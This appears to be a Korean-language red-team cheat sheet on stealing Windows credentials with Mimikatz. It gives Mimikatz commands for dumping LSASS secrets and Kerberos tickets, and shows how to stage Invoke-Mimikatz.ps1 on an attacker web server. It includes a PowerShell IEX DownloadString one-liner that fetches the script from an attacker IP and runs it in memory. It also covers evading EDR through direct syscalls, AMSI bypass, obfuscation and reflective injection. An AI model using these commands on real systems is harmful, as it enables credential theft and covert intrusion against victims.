Mimikatz는 Benjamin Delpy가 만든 Windows 자격 증명 추출 도구입니다. 주로 다음 작업에 사용됩니다:
핵심 기능:
sekurlsa::logonpasswords # LSASS에서 자격 증명 추출
sekurlsa::tickets # Kerberos 티켓 확인
kerberos::ptt <파일> # 티켓 삽입
Invoke-Mimikatz.ps1
는 PowerSploit에서 제공하는 PowerShell 스크립트로, Mimikatz 바이너리를 인메모리에서 로드하여 실행할 수 있게 해줍니다.
cd /tmp
wget https://raw.githubusercontent.com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1
python3 -m http.server 80
이 명령은 다음과 같은 역할을 합니다:
wget
)python3 -m http.server 80
으로 웹서버 열어서 Windows에서 해당 스크립트를 호스팅공격자 시나리오: 윈도우 타깃이 이 스크립트를 PowerShell로 iex (new-object net.webclient).downloadstring()
등으로 호출하면 메모리에서 바로 실행됨 → 디스크에 흔적이 없음
IEX (New-Object Net.WebClient).DownloadString("http://공격자IP/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -DumpCreds
이렇게 하면:
Invoke-Mimikatz.ps1
의 함수가 메모리에 로드sekurlsa::logonpasswords
)를 실행EDR (Endpoint Detection and Response)
→ 엔드포인트(PC, 서버)에서 이상 행위 탐지 및 대응하는 보안 솔루션
예시:
ReadProcessMemory
)대표 제품: Microsoft Defender ATP, SentinelOne, CrowdStrike Falcon 등
DInvoke는 C#으로 작성된 오픈소스 라이브러리로, Windows API를 직접 시스템 콜 수준에서 호출합니다.
왜 쓰나?
kernel32.dll
, ntdll.dll
등 API 호출을 직접 하지 않고 → EDR 탐지를 우회GetProcAddress
, LoadLibrary
대신 → 메모리 매핑 방식으로 함수 호출예시 사용
NtReadVirtualMemory
, NtOpenProcess
등으로 직접 LSASS 메모리 읽기[공격자] Kali Linux
↓
Invoke-Mimikatz.ps1 다운로드 → 웹 서버로 호스팅
↓
[피해자] Windows
PowerShell로 IEX 다운로드 실행 (메모리 내)
↓
Invoke-Mimikatz -DumpCreds
↓
→ LSASS 메모리에서 비밀번호 덤프
→ 해시/티켓 획득
※ EDR 탐지가 있을 경우:
Invoke-Mimikatz
탐지됨AV/EDR 회피: AMSI 우회 + PowerShell Obfuscation + Reflective DLL Injection
권한 필요: LSASS 접근엔 관리자 권한 필요
기술 연계:
Get-Process lsass | Out-Minidump
→ 오프라인에서 mimikatz 실행SharpDump
, PPLdump
, comsvcs.dll
등도 활용 가능